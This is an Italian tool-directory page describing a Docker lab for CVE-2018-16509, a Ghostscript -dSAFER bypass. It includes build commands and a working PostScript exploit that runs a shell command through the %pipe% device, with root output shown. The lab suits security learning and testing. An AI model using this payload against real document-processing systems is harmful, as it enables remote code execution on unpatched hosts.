Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2018-16509 — CVE-2018-16509 Docker Playground - Esecuzione di comandi di Ghostscript | Kitploit
Strumenti/GitHubGitHub/rhpco/cve-2018-16509
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHubrhpco/cve-2018-16509

CVE-2018-16509

CVE-2018-16509 Docker Playground - Esecuzione di comandi di Ghostscript

Vedi Repository
1123 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2018-16509 Parco giochi Docker

"È stato scoperto un problema in Artifex Ghostscript prima della versione 9.24. Un controllo errato del 'ripristino dei privilegi' durante la gestione delle eccezioni /invalidaccess potrebbe essere utilizzato da attaccanti in grado di fornire PostScript manipolato per eseguire codice tramite l'istruzione 'pipe'." https://nvd.nist.gov/vuln/detail/CVE-2018-16509 https://access.redhat.com/security/cve/cve-2018-16509

Build

root@kitploit:~
docker build -t cve-2018-16509:latest .

Esegui + Exec

root@kitploit:~
docker exec -it `docker run -d cve-2018-16509:latest` bash

Versione

root@kitploit:~
[root@400498314b62 ~]# gs -v
GPL Ghostscript 9.22 (2017-10-04)
Copyright (C) 2017 Artifex Software, Inc.  All rights reserved.

Exploit

root@kitploit:~
gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null
GS>legal
GS>{ null restore } stopped { pop } if
GS>legal
GS>mark /OutputFile (%pipe%id) currentdevice putdeviceprops
GS<1>showpage
uid=0(root) gid=0(root) groups=0(root)
[root@400498314b62 ~]#
Scarica lo strumento